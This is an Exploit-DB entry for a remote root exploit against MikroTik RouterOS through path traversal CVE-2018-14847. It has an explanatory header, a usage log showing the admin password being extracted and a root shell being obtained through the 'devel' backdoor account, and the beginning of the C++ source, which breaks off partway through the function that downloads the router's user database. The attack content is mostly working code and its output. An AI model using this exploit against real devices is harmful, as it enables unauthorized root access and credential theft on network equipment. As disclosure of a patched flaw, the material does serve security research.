Exploit-DB #45578
Description: MicroTik RouterOS < 6.43rc3 - Remote Root
Type: remote
Platform: hardware
Date: 2018-10-10
Author: Jacob Baines

Exploit:
/*
# Exploit Title: RouterOS Remote Rooting
# Date: 10/07/2018
# Exploit Author: Jacob Baines
# Vendor Homepage: www.mikrotik.com
# Software Link: https://mikrotik.com/download
# Version: Longterm: 6.30.1 - 6.40.7 Stable: 6.29 - 6.42 Beta: 6.29rc1 - 6.43rc3
# Tested on: RouterOS Various
# CVE : CVE-2018-14847

By the Way is an exploit coded in C++ that enables a root shell on Mikrotik devices running RouterOS versions:

Longterm: 6.30.1 - 6.40.7
Stable: 6.29 - 6.42
Beta: 6.29rc1 - 6.43rc3

The exploit can be found here: https://github.com/tenable/routeros/tree/master/poc/bytheway

The exploit leverages the path traversal vulnerability CVE-2018-14847 to extract the admin password and create an "option" package to enable the developer backdoor. Post exploitation the attacker can connect to Telnet or SSH using the root user "devel" with the admin's password.

Mikrotik patched CVE-2018-14847 back in April. However, until this PoC was written, I don't believe its been publicly disclosed that the attack can be levegered to write files. You can find Mikrotik's advisory here:

https://blog.mikrotik.com/security/winbox-vulnerability.html

Note that, while this exploit is written for Winbox, it could be ported to HTTP as long as you had prior knowledge of the admin credentials.

# Usage Example

albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
Password: 
Login failed, incorrect username or password

Connection closed by foreign host.
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ ./btw -i 192.168.1.251

   ╔╗ ┬ ┬  ┌┬┐┬ ┬┌─┐  ╦ ╦┌─┐┬ ┬
   ╠╩╗└┬┘   │ ├─┤├┤   ║║║├─┤└┬┘
   ╚═╝ ┴    ┴ ┴ ┴└─┘  ╚╩╝┴ ┴ ┴ 

[+] Extracting passwords from 192.168.1.251:8291
[+] Searching for administrator credentials 
[+] Using credentials - admin:lol
[+] Creating /pckg/option on 192.168.1.251:8291
[+] Creating /flash/nova/etc/devel-login on 192.168.1.251:8291
[+] There's a light on
albinolobster@ubuntu:~/mikrotik/poc/bytheway/build$ telnet -l devel 192.168.1.251
Trying 192.168.1.251...
Connected to 192.168.1.251.
Escape character is '^]'.
[CREDENTIAL_REDACTED] v1.00 (2017.03.02-08:29+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

# uname -a
Linux MikroTik 3.3.5 #1 Thu Mar 2 08:16:25 UTC 2017 mips unknown
# cat /rw/logs/VERSION
v6.38.4 Mar/08/2017 09:26:17
# Connection closed by foreign host.
*/
#include <sstream>
#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>

#include "winbox_session.hpp"
#include "winbox_message.hpp"
#include "md5.hpp"

namespace
{
    const char s_version[] = "By the Way 1.0.0";

    /*!
     * Parses the command line arguments. The program will always use two
     * parameters (ip and winbox port) but the port will default to 8291 if
     * not present on the CLI
     *
     * \param[in] p_arg_count the number of arguments on the command line
     * \param[in] p_arg_array the arguments passed on the command line
     * \param[in,out] p_ip the ip address to connect to
     * \param[in,out] p_winbox_port the winbox port to connect to
     * \return true if we have valid ip and ports. false otherwise.
     */
    bool parseCommandLine(int p_arg_count, const char* p_arg_array[],
                          std::string& p_ip, std::string& p_winbox_port)
    {
        boost::program_options::options_description description("options");
        description.add_options()
        ("help,h", "A list of command line options")
        ("version,v", "Display version information")
        ("winbox-port,w", boost::program_options::value<std::string>()->default_value("8291"), "The winbox port")
        ("ip,i", boost::program_options::value<std::string>(), "The ip to connect to");

        boost::program_options::variables_map argv_map;
        try
        {
            boost::program_options::store(
                boost::program_options::parse_command_line(
                    p_arg_count, p_arg_array, description), argv_map);
        }
        catch (const std::exception& e)
        {
            std::cerr << e.what() << "\n" << std::endl;
            std::cerr << description << std::endl;
            return false;
        }

        boost::program_options::notify(argv_map);
        if (argv_map.empty() || argv_map.count("help"))
        {
            std::cerr << description << std::endl;
            return false;
        }

        if (argv_map.count("version"))
        {
            std::cerr << "Version: " << ::s_version << std::endl;
            return false;
        }

        if (argv_map.count("ip") && argv_map.count("winbox-port"))
        {
            p_ip.assign(argv_map["ip"].as<std::string>());
            p_winbox_port.assign(argv_map["winbox-port"].as<std::string>());
            return true;
        }
        else
        {
            std::cerr << description << std::endl;
        }

        return false;
    }

    /*!
     * This function uses the file disclosure vulnerability, CVE-2018-14847, to
     * download the user database from /flash/rw/store/user.dat
     *
     * \param[in] p_ip the address of the router to connect to
     * \param[in] p_winbox_port the winbox port to connect to
     * \return a string containing the user.dat data or an empty string on error
     */
    std::string getPasswords(const std::string& p_ip, const std::string& p_winbox_port)
    {
        std::cout << "[+] Extracting passwords from " << p_ip << ":" << p_winbox_port << std::endl;
        Winbox_Session winboxSession(p_ip, p_winbox_port);
        if (!winboxSession.connect())
        {
            std::cerr << "[!] Failed to connect to the remote host" << std::endl;
            return std::string();
        }

        WinboxMessage msg;
        msg.set_to(2, 2);